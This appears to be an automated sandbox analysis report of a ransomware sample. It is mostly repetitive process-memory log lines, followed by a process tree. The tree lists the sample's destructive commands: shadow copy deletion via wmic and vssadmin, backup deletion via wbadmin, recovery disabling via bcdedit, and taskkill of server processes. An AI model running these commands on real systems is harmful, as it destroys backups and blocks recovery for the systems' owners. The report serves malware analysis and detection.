f4009abe9f41da41e48340c96e29d62c.exe 167 PID 844 wrote to memory of 1372 844 f4009abe9f41da41e48340c96e29d62c.exe 167 PID 844 wrote to memory of 1372 844 f4009abe9f41da41e48340c96e29d62c.exe 167 PID 844 wrote to memory of 1372 844 f4009abe9f41da41e48340c96e29d62c.exe 167 PID 1372 wrote to memory of 876 1372 cmd.exe 169 PID 1372 wrote to memory of 876 1372 cmd.exe 169 PID 1372 wrote to memory of 876 1372 cmd.exe 169 PID 1372 wrote to memory of 876 1372 cmd.exe 169 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 170 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 170 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 170 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 170 PID 1360 wrote to memory of 1632 1360 cmd.exe 172 PID 1360 wrote to memory of 1632 1360 cmd.exe 172 PID 1360 wrote to memory of 1632 1360 cmd.exe 172 PID 1360 wrote to memory of 1632 1360 cmd.exe 172 PID 844 wrote to memory of 1576 844 f4009abe9f41da41e48340c96e29d62c.exe 173 PID 844 wrote to memory of 1576 844 f4009abe9f41da41e48340c96e29d62c.exe 173 PID 844 wrote to memory of 1576 844 f4009abe9f41da41e48340c96e29d62c.exe 173 PID 844 wrote to memory of 1576 844 f4009abe9f41da41e48340c96e29d62c.exe 173 PID 1576 wrote to memory of 2020 1576 cmd.exe 175 PID 1576 wrote to memory of 2020 1576 cmd.exe 175 PID 1576 wrote to memory of 2020 1576 cmd.exe 175 PID 1576 wrote to memory of 2020 1576 cmd.exe 175 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 176 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 176 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 176 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 176 PID 1964 wrote to memory of 1980 1964 cmd.exe 178 PID 1964 wrote to memory of 1980 1964 cmd.exe 178 PID 1964 wrote to memory of 1980 1964 cmd.exe 178 PID 1964 wrote to memory of 1980 1964 cmd.exe 178 PID 844 wrote to memory of 832 844 f4009abe9f41da41e48340c96e29d62c.exe 179 PID 844 wrote to memory of 832 844 f4009abe9f41da41e48340c96e29d62c.exe 179 PID 844 wrote to memory of 832 844 f4009abe9f41da41e48340c96e29d62c.exe 179 PID 844 wrote to memory of 832 844 f4009abe9f41da41e48340c96e29d62c.exe 179 PID 832 wrote to memory of 1568 832 cmd.exe 181 PID 832 wrote to memory of 1568 832 cmd.exe 181 PID 832 wrote to memory of 1568 832 cmd.exe 181 PID 832 wrote to memory of 1568 832 cmd.exe 181 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 182 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 182 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 182 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 182 PID 1460 wrote to memory of 1500 1460 cmd.exe 184 PID 1460 wrote to memory of 1500 1460 cmd.exe 184 PID 1460 wrote to memory of 1500 1460 cmd.exe 184 PID 1460 wrote to memory of 1500 1460 cmd.exe 184 PID 844 wrote to memory of 784 844 f4009abe9f41da41e48340c96e29d62c.exe 185 PID 844 wrote to memory of 784 844 f4009abe9f41da41e48340c96e29d62c.exe 185 PID 844 wrote to memory of 784 844 f4009abe9f41da41e48340c96e29d62c.exe 185 PID 844 wrote to memory of 784 844 f4009abe9f41da41e48340c96e29d62c.exe 185 PID 784 wrote to memory of 1892 784 cmd.exe 187 PID 784 wrote to memory of 1892 784 cmd.exe 187 PID 784 wrote to memory of 1892 784 cmd.exe 187 PID 784 wrote to memory of 1892 784 cmd.exe 187 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 188 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 188 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 188 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 188 PID 1424 wrote to memory of 1872 1424 cmd.exe 190 PID 1424 wrote to memory of 1872 1424 cmd.exe 190 PID 1424 wrote to memory of 1872 1424 cmd.exe 190 PID 1424 wrote to memory of 1872 1424 cmd.exe 190 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 191 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 191 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 191 PID 844 wrote to memory of 1876 844 f4009abe9f41da41e48340c96e29d62c.exe 191 PID 1876 wrote to memory of 1824 1876 cmd.exe 193 PID 1876 wrote to memory of 1824 1876 cmd.exe 193 PID 1876 wrote to memory of 1824 1876 cmd.exe 193 PID 1876 wrote to memory of 1824 1876 cmd.exe 193 PID 844 wrote to memory of 1856 844 f4009abe9f41da41e48340c96e29d62c.exe 194 PID 844 wrote to memory of 1856 844 f4009abe9f41da41e48340c96e29d62c.exe 194 PID 844 wrote to memory of 1856 844 f4009abe9f41da41e48340c96e29d62c.exe 194 PID 844 wrote to memory of 1856 844 f4009abe9f41da41e48340c96e29d62c.exe 194 PID 1856 wrote to memory of 580 1856 cmd.exe 196 PID 1856 wrote to memory of 580 1856 cmd.exe 196 PID 1856 wrote to memory of 580 1856 cmd.exe 196 PID 1856 wrote to memory of 580 1856 cmd.exe 196 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 197 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 197 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 197 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 197 PID 660 wrote to memory of 340 660 cmd.exe 199 PID 660 wrote to memory of 340 660 cmd.exe 199 PID 660 wrote to memory of 340 660 cmd.exe 199 PID 660 wrote to memory of 340 660 cmd.exe 199 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 200 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 200 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 200 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 200 PID 1368 wrote to memory of 1580 1368 cmd.exe 202 PID 1368 wrote to memory of 1580 1368 cmd.exe 202 PID 1368 wrote to memory of 1580 1368 cmd.exe 202 PID 1368 wrote to memory of 1580 1368 cmd.exe 202 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 203 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 203 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 203 PID 844 wrote to memory of 1360 844 f4009abe9f41da41e48340c96e29d62c.exe 203 PID 1360 wrote to memory of 1956 1360 cmd.exe 205 PID 1360 wrote to memory of 1956 1360 cmd.exe 205 PID 1360 wrote to memory of 1956 1360 cmd.exe 205 PID 1360 wrote to memory of 1956 1360 cmd.exe 205 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 206 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 206 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 206 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 206 PID 1988 wrote to memory of 2024 1988 cmd.exe 208 PID 1988 wrote to memory of 2024 1988 cmd.exe 208 PID 1988 wrote to memory of 2024 1988 cmd.exe 208 PID 1988 wrote to memory of 2024 1988 cmd.exe 208 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 209 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 209 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 209 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 209 PID 1964 wrote to memory of 1432 1964 cmd.exe 211 PID 1964 wrote to memory of 1432 1964 cmd.exe 211 PID 1964 wrote to memory of 1432 1964 cmd.exe 211 PID 1964 wrote to memory of 1432 1964 cmd.exe 211 PID 844 wrote to memory of 1512 844 f4009abe9f41da41e48340c96e29d62c.exe 212 PID 844 wrote to memory of 1512 844 f4009abe9f41da41e48340c96e29d62c.exe 212 PID 844 wrote to memory of 1512 844 f4009abe9f41da41e48340c96e29d62c.exe 212 PID 844 wrote to memory of 1512 844 f4009abe9f41da41e48340c96e29d62c.exe 212 PID 1512 wrote to memory of 788 1512 cmd.exe 214 PID 1512 wrote to memory of 788 1512 cmd.exe 214 PID 1512 wrote to memory of 788 1512 cmd.exe 214 PID 1512 wrote to memory of 788 1512 cmd.exe 214 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 215 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 215 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 215 PID 844 wrote to memory of 1460 844 f4009abe9f41da41e48340c96e29d62c.exe 215 PID 1460 wrote to memory of 1052 1460 cmd.exe 217 PID 1460 wrote to memory of 1052 1460 cmd.exe 217 PID 1460 wrote to memory of 1052 1460 cmd.exe 217 PID 1460 wrote to memory of 1052 1460 cmd.exe 217 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 218 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 218 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 218 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 218 PID 1540 wrote to memory of 1832 1540 cmd.exe 220 PID 1540 wrote to memory of 1832 1540 cmd.exe 220 PID 1540 wrote to memory of 1832 1540 cmd.exe 220 PID 1540 wrote to memory of 1832 1540 cmd.exe 220 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 221 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 221 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 221 PID 844 wrote to memory of 1424 844 f4009abe9f41da41e48340c96e29d62c.exe 221 PID 1424 wrote to memory of 1868 1424 cmd.exe 223 PID 1424 wrote to memory of 1868 1424 cmd.exe 223 PID 1424 wrote to memory of 1868 1424 cmd.exe 223 PID 1424 wrote to memory of 1868 1424 cmd.exe 223 PID 844 wrote to memory of 1820 844 f4009abe9f41da41e48340c96e29d62c.exe 224 PID 844 wrote to memory of 1820 844 f4009abe9f41da41e48340c96e29d62c.exe 224 PID 844 wrote to memory of 1820 844 f4009abe9f41da41e48340c96e29d62c.exe 224 PID 844 wrote to memory of 1820 844 f4009abe9f41da41e48340c96e29d62c.exe 224 PID 1820 wrote to memory of 1352 1820 cmd.exe 226 PID 1820 wrote to memory of 1352 1820 cmd.exe 226 PID 1820 wrote to memory of 1352 1820 cmd.exe 226 PID 1820 wrote to memory of 1352 1820 cmd.exe 226 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 227 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 227 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 227 PID 844 wrote to memory of 1908 844 f4009abe9f41da41e48340c96e29d62c.exe 227 PID 1908 wrote to memory of 1524 1908 cmd.exe 229 PID 1908 wrote to memory of 1524 1908 cmd.exe 229 PID 1908 wrote to memory of 1524 1908 cmd.exe 229 PID 1908 wrote to memory of 1524 1908 cmd.exe 229 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 230 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 230 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 230 PID 844 wrote to memory of 660 844 f4009abe9f41da41e48340c96e29d62c.exe 230 PID 660 wrote to memory of 1552 660 cmd.exe 232 PID 660 wrote to memory of 1552 660 cmd.exe 232 PID 660 wrote to memory of 1552 660 cmd.exe 232 PID 660 wrote to memory of 1552 660 cmd.exe 232 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 233 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 233 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 233 PID 844 wrote to memory of 1368 844 f4009abe9f41da41e48340c96e29d62c.exe 233 PID 1368 wrote to memory of 1984 1368 cmd.exe 235 PID 1368 wrote to memory of 1984 1368 cmd.exe 235 PID 1368 wrote to memory of 1984 1368 cmd.exe 235 PID 1368 wrote to memory of 1984 1368 cmd.exe 235 PID 844 wrote to memory of 1960 844 f4009abe9f41da41e48340c96e29d62c.exe 236 PID 844 wrote to memory of 1960 844 f4009abe9f41da41e48340c96e29d62c.exe 236 PID 844 wrote to memory of 1960 844 f4009abe9f41da41e48340c96e29d62c.exe 236 PID 844 wrote to memory of 1960 844 f4009abe9f41da41e48340c96e29d62c.exe 236 PID 1960 wrote to memory of 2016 1960 cmd.exe 238 PID 1960 wrote to memory of 2016 1960 cmd.exe 238 PID 1960 wrote to memory of 2016 1960 cmd.exe 238 PID 1960 wrote to memory of 2016 1960 cmd.exe 238 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 239 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 239 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 239 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 239 PID 1988 wrote to memory of 1344 1988 cmd.exe 241 PID 1988 wrote to memory of 1344 1988 cmd.exe 241 PID 1988 wrote to memory of 1344 1988 cmd.exe 241 PID 1988 wrote to memory of 1344 1988 cmd.exe 241 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 242 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 242 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 242 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 242 PID 1964 wrote to memory of 1560 1964 cmd.exe 244 PID 1964 wrote to memory of 1560 1964 cmd.exe 244 PID 1964 wrote to memory of 1560 1964 cmd.exe 244 PID 1964 wrote to memory of 1560 1964 cmd.exe 244 PID 844 wrote to memory of 1476 844 f4009abe9f41da41e48340c96e29d62c.exe 245 PID 844 wrote to memory of 1476 844 f4009abe9f41da41e48340c96e29d62c.exe 245 PID 844 wrote to memory of 1476 844 f4009abe9f41da41e48340c96e29d62c.exe 245 PID 844 wrote to memory of 1476 844 f4009abe9f41da41e48340c96e29d62c.exe 245 PID 1476 wrote to memory of 1056 1476 cmd.exe 247 PID 1476 wrote to memory of 1056 1476 cmd.exe 247 PID 1476 wrote to memory of 1056 1476 cmd.exe 247 PID 1476 wrote to memory of 1056 1476 cmd.exe 247 PID 844 wrote to memory of 624 844 f4009abe9f41da41e48340c96e29d62c.exe 248 PID 844 wrote to memory of 624 844 f4009abe9f41da41e48340c96e29d62c.exe 248 PID 844 wrote to memory of 624 844 f4009abe9f41da41e48340c96e29d62c.exe 248 PID 844 wrote to memory of 624 844 f4009abe9f41da41e48340c96e29d62c.exe 248 PID 624 wrote to memory of 572 624 cmd.exe 250 PID 624 wrote to memory of 572 624 cmd.exe 250 PID 624 wrote to memory of 572 624 cmd.exe 250 PID 624 wrote to memory of 572 624 cmd.exe 250 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 251 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 251 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 251 PID 844 wrote to memory of 1540 844 f4009abe9f41da41e48340c96e29d62c.exe 251 PID 1540 wrote to memory of 1904 1540 cmd.exe 253 PID 1540 wrote to memory of 1904 1540 cmd.exe 253 PID 1540 wrote to memory of 1904 1540 cmd.exe 253 PID 1540 wrote to memory of 1904 1540 cmd.exe 253 PID 844 wrote to memory of 1816 844 f4009abe9f41da41e48340c96e29d62c.exe 254 PID 844 wrote to memory of 1816 844 f4009abe9f41da41e48340c96e29d62c.exe 254 PID 844 wrote to memory of 1816 844 f4009abe9f41da41e48340c96e29d62c.exe 254 PID 844 wrote to memory of 1816 844 f4009abe9f41da41e48340c96e29d62c.exe 254 PID 1816 wrote to memory of 520 1816 cmd.exe 256 PID 1816 wrote to memory of 520 1816 cmd.exe 256 PID 1816 wrote to memory of 520 1816 cmd.exe 256 PID 1816 wrote to memory of 520 1816 cmd.exe 256 PID 844 wrote to memory of 1808 844 f4009abe9f41da41e48340c96e29d62c.exe 257 PID 844 wrote to memory of 1808 844 f4009abe9f41da41e48340c96e29d62c.exe 257 PID 844 wrote to memory of 1808 844 f4009abe9f41da41e48340c96e29d62c.exe 257 PID 844 wrote to memory of 1808 844 f4009abe9f41da41e48340c96e29d62c.exe 257 PID 1808 wrote to memory of 772 1808 cmd.exe 259 PID 1808 wrote to memory of 772 1808 cmd.exe 259 PID 1808 wrote to memory of 772 1808 cmd.exe 259 PID 1808 wrote to memory of 772 1808 cmd.exe 259 PID 844 wrote to memory of 568 844 f4009abe9f41da41e48340c96e29d62c.exe 260 PID 844 wrote to memory of 568 844 f4009abe9f41da41e48340c96e29d62c.exe 260 PID 844 wrote to memory of 568 844 f4009abe9f41da41e48340c96e29d62c.exe 260 PID 844 wrote to memory of 568 844 f4009abe9f41da41e48340c96e29d62c.exe 260 PID 568 wrote to memory of 1652 568 cmd.exe 262 PID 568 wrote to memory of 1652 568 cmd.exe 262 PID 568 wrote to memory of 1652 568 cmd.exe 262 PID 568 wrote to memory of 1652 568 cmd.exe 262 PID 844 wrote to memory of 1952 844 f4009abe9f41da41e48340c96e29d62c.exe 263 PID 844 wrote to memory of 1952 844 f4009abe9f41da41e48340c96e29d62c.exe 263 PID 844 wrote to memory of 1952 844 f4009abe9f41da41e48340c96e29d62c.exe 263 PID 844 wrote to memory of 1952 844 f4009abe9f41da41e48340c96e29d62c.exe 263 PID 1952 wrote to memory of 1944 1952 cmd.exe 265 PID 1952 wrote to memory of 1944 1952 cmd.exe 265 PID 1952 wrote to memory of 1944 1952 cmd.exe 265 PID 1952 wrote to memory of 1944 1952 cmd.exe 265 PID 844 wrote to memory of 2000 844 f4009abe9f41da41e48340c96e29d62c.exe 266 PID 844 wrote to memory of 2000 844 f4009abe9f41da41e48340c96e29d62c.exe 266 PID 844 wrote to memory of 2000 844 f4009abe9f41da41e48340c96e29d62c.exe 266 PID 844 wrote to memory of 2000 844 f4009abe9f41da41e48340c96e29d62c.exe 266 PID 2000 wrote to memory of 2012 2000 cmd.exe 268 PID 2000 wrote to memory of 2012 2000 cmd.exe 268 PID 2000 wrote to memory of 2012 2000 cmd.exe 268 PID 2000 wrote to memory of 2012 2000 cmd.exe 268 PID 844 wrote to memory of 1960 844 f4009abe9f41da41e48340c96e29d62c.exe 269 PID 844 wrote to memory of 1960 844 f4009abe9f41da41e48340c96e29d62c.exe 269 PID 844 wrote to memory of 1960 844 f4009abe9f41da41e48340c96e29d62c.exe 269 PID 844 wrote to memory of 1960 844 f4009abe9f41da41e48340c96e29d62c.exe 269 PID 1960 wrote to memory of 1492 1960 cmd.exe 271 PID 1960 wrote to memory of 1492 1960 cmd.exe 271 PID 1960 wrote to memory of 1492 1960 cmd.exe 271 PID 1960 wrote to memory of 1492 1960 cmd.exe 271 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 272 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 272 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 272 PID 844 wrote to memory of 1988 844 f4009abe9f41da41e48340c96e29d62c.exe 272 PID 1988 wrote to memory of 1604 1988 cmd.exe 274 PID 1988 wrote to memory of 1604 1988 cmd.exe 274 PID 1988 wrote to memory of 1604 1988 cmd.exe 274 PID 1988 wrote to memory of 1604 1988 cmd.exe 274 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 275 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 275 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 275 PID 844 wrote to memory of 1964 844 f4009abe9f41da41e48340c96e29d62c.exe 275 PID 1964 wrote to memory of 744 1964 cmd.exe 277 PID 1964 wrote to memory of 744 1964 cmd.exe 277 PID 1964 wrote to memory of 744 1964 cmd.exe 277 PID 1964 wrote to memory of 744 1964 cmd.exe 277 PID 844 wrote to memory of 1628 844 f4009abe9f41da41e48340c96e29d62c.exe 278 PID 844 wrote to memory of 1628 844 f4009abe9f41da41e48340c96e29d62c.exe 278 PID 844 wrote to memory of 1628 844 f4009abe9f41da41e48340c96e29d62c.exe 278 PID 844 wrote to memory of 1628 844 f4009abe9f41da41e48340c96e29d62c.exe 278 PID 1628 wrote to memory of 1036 1628 cmd.exe 280 PID 1628 wrote to memory of 1036 1628 cmd.exe 280 PID 1628 wrote to memory of 1036 1628 cmd.exe 280 PID 1628 wrote to memory of 1036 1628 cmd.exe 280 PID 844 wrote to memory of 624 844 f4009abe9f41da41e48340c96e29d62c.exe 281 PID 844 wrote to memory of 624 844 f4009abe9f41da41e48340c96e29d62c.exe 281 PID 844 wrote to memory of 624 844 f4009abe9f41da41e48340c96e29d62c.exe 281 PID 844 wrote to memory of 624 844 f4009abe9f41da41e48340c96e29d62c.exe 281 PID 624 wrote to memory of 1852 624 cmd.exe 283 PID 624 wrote to memory of 1852 624 cmd.exe 283 PID 624 wrote to memory of 1852 624 cmd.exe 283 PID 624 wrote to memory of 1852 624 cmd.exe 283 PID 844 wrote to memory of 1880 844 f4009abe9f41da41e48340c96e29d62c.exe 284 PID 844 wrote to memory of 1880 844 f4009abe9f41da41e48340c96e29d62c.exe 284 PID 844 wrote to memory of 1880 844 f4009abe9f41da41e48340c96e29d62c.exe 284 PID 844 wrote to memory of 1880 844 f4009abe9f41da41e48340c96e29d62c.exe 284 PID 1880 wrote to memory of 1820 1880 cmd.exe 286 PID 1880 wrote to memory of 1820 1880 cmd.exe 286 PID 1880 wrote to memory of 1820 1880 cmd.exe 286 PID 1880 wrote to memory of 1820 1880 cmd.exe 286 PID 844 wrote to memory of 1816 844 f4009abe9f41da41e48340c96e29d62c.exe 287 PID 844 wrote to memory of 1816 844 f4009abe9f41da41e48340c96e29d62c.exe 287 PID 844 wrote to memory of 1816 844 f4009abe9f41da41e48340c96e29d62c.exe 287 PID 844 wrote to memory of 1816 844 f4009abe9f41da41e48340c96e29d62c.exe 287 PID 1816 wrote to memory of 876 1816 cmd.exe 289 PID 1816 wrote to memory of 876 1816 cmd.exe 289 PID 1816 wrote to memory of 876 1816 cmd.exe 289 PID 1816 wrote to memory of 876 1816 cmd.exe 289 PID 844 wrote to memory of 620 844 f4009abe9f41da41e48340c96e29d62c.exe 290 PID 844 wrote to memory of 620 844 f4009abe9f41da41e48340c96e29d62c.exe 290 PID 844 wrote to memory of 620 844 f4009abe9f41da41e48340c96e29d62c.exe 290 PID 844 wrote to memory of 620 844 f4009abe9f41da41e48340c96e29d62c.exe 290 PID 620 wrote to memory of 660 620 cmd.exe 292 PID 620 wrote to memory of 660 620 cmd.exe 292 PID 620 wrote to memory of 660 620 cmd.exe 292 PID 620 wrote to memory of 660 620 cmd.exe 292 PID 844 wrote to memory of 1632 844 f4009abe9f41da41e48340c96e29d62c.exe 293 PID 844 wrote to memory of 1632 844 f4009abe9f41da41e48340c96e29d62c.exe 293 PID 844 wrote to memory of 1632 844 f4009abe9f41da41e48340c96e29d62c.exe 293 PID 844 wrote to memory of 1632 844 f4009abe9f41da41e48340c96e29d62c.exe 293 PID 1632 wrote to memory of 1940 1632 cmd.exe 295 PID 1632 wrote to memory of 1940 1632 cmd.exe 295 PID 1632 wrote to memory of 1940 1632 cmd.exe 295 PID 1632 wrote to memory of 1940 1632 cmd.exe 295 PID 844 wrote to memory of 1168 844 f4009abe9f41da41e48340c96e29d62c.exe 296 PID 844 wrote to memory of 1168 844 f4009abe9f41da41e48340c96e29d62c.exe 296 PID 844 wrote to memory of 1168 844 f4009abe9f41da41e48340c96e29d62c.exe 296 PID 844 wrote to memory of 1168 844 f4009abe9f41da41e48340c96e29d62c.exe 296 PID 1168 wrote to memory of 1320 1168 cmd.exe 298 PID 1168 wrote to memory of 1320 1168 cmd.exe 298 PID 1168 wrote to memory of 1320 1168 cmd.exe 298 PID 1168 wrote to memory of 1320 1168 cmd.exe 298 PID 844 wrote to memory of 2000 844 f4009abe9f41da41e48340c96e29d62c.exe 299 PID 844 wrote to memory of 2000 844 f4009abe9f41da41e48340c96e29d62c.exe 299 PID 844 wrote to memory of 2000 844 f4009abe9f41da41e48340c96e29d62c.exe 299 PID 844 wrote to memory of 2000 844 f4009abe9f41da41e48340c96e29d62c.exe 299 PID 2000 wrote to memory of 1400 2000 cmd.exe 301 PID 2000 wrote to memory of 1400 2000 cmd.exe 301 PID 2000 wrote to memory of 1400 2000 cmd.exe 301 PID 2000 wrote to memory of 1400 2000 cmd.exe 301 PID 844 wrote to memory of 1480 844 f4009abe9f41da41e48340c96e29d62c.exe 302 PID 844 wrote to memory of 1480 844 f4009abe9f41da41e48340c96e29d62c.exe 302 PID 844 wrote to memory of 1480 844 f4009abe9f41da41e48340c96e29d62c.exe 302 PID 844 wrote to memory of 1480 844 f4009abe9f41da41e48340c96e29d62c.exe 302 PID 1480 wrote to memory of 1060 1480 cmd.exe 304 PID 1480 wrote to memory of 1060 1480 cmd.exe 304 PID 1480 wrote to memory of 1060 1480 cmd.exe 304 PID 1480 wrote to memory of 1060 1480 cmd.exe 304 PID 844 wrote to memory of 1388 844 f4009abe9f41da41e48340c96e29d62c.exe 310 PID 844 wrote to memory of 1388 844 f4009abe9f41da41e48340c96e29d62c.exe 310 PID 844 wrote to memory of 1388 844 f4009abe9f41da41e48340c96e29d62c.exe 310 PID 844 wrote to memory of 1388 844 f4009abe9f41da41e48340c96e29d62c.exe 310 PID 1388 wrote to memory of 1432 1388 cmd.exe 312 PID 1388 wrote to memory of 1432 1388 cmd.exe 312 PID 1388 wrote to memory of 1432 1388 cmd.exe 312 PID 1388 wrote to memory of 1432 1388 cmd.exe 312 -
Deletes itself 1 IoCs
pid Process 1388 cmd.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
Processes
-
C:\Users\Admin\AppData\Local\Temp\f4009abe9f41da41e48340c96e29d62c.exe"C:\Users\Admin\AppData\Local\Temp\f4009abe9f41da41e48340c96e29d62c.exe"1⤵
- Modifies extensions of user files
- Suspicious behavior: EnumeratesProcesses
- NTFS ADS
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
PID:844 -
C:\Windows\SysWOW64\cmd.execmd /C wmic.exe SHADOWCOPY DELETE /nointeractive2⤵
- Suspicious use of WriteProcessMemory
PID:744 -
C:\Windows\SysWOW64\Wbem\WMIC.exewmic.exe SHADOWCOPY DELETE /nointeractive3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1628
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C wbadmin DELETE SYSTEMSTATEBACKUP2⤵PID:1244
-
-
C:\Windows\SysWOW64\cmd.execmd /C wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest2⤵PID:1852
-
-
C:\Windows\SysWOW64\cmd.execmd /C bcdedit.exe /set {default} recoveryenabled No2⤵PID:1876
-
-
C:\Windows\SysWOW64\cmd.execmd /C bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures2⤵PID:1736
-
-
C:\Windows\SysWOW64\cmd.execmd /C vssadmin.exe Delete Shadows /All /Quiet2⤵
- Suspicious use of WriteProcessMemory
PID:1808 -
C:\Windows\SysWOW64\vssadmin.exevssadmin.exe Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:1804
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C C:\Windows\system32\vssvc.exe2⤵PID:580
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM wxServer*2⤵
- Suspicious use of WriteProcessMemory
PID:1368 -
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM wxServer*3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1376
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM wxServerView*2⤵
- Suspicious use of WriteProcessMemory
PID:1632 -
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM wxServerView*3⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:1556
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM sqlmangr*2⤵
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\SysWOW64\taskkill.exetaskkill /F /T /IM sqlmangr*3⤵
- Suspicious use of AdjustPrivilegeToken
- Kills process with taskkill
PID:1940
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C taskkill /F /T /IM RAgui*2⤵PID:2028
-
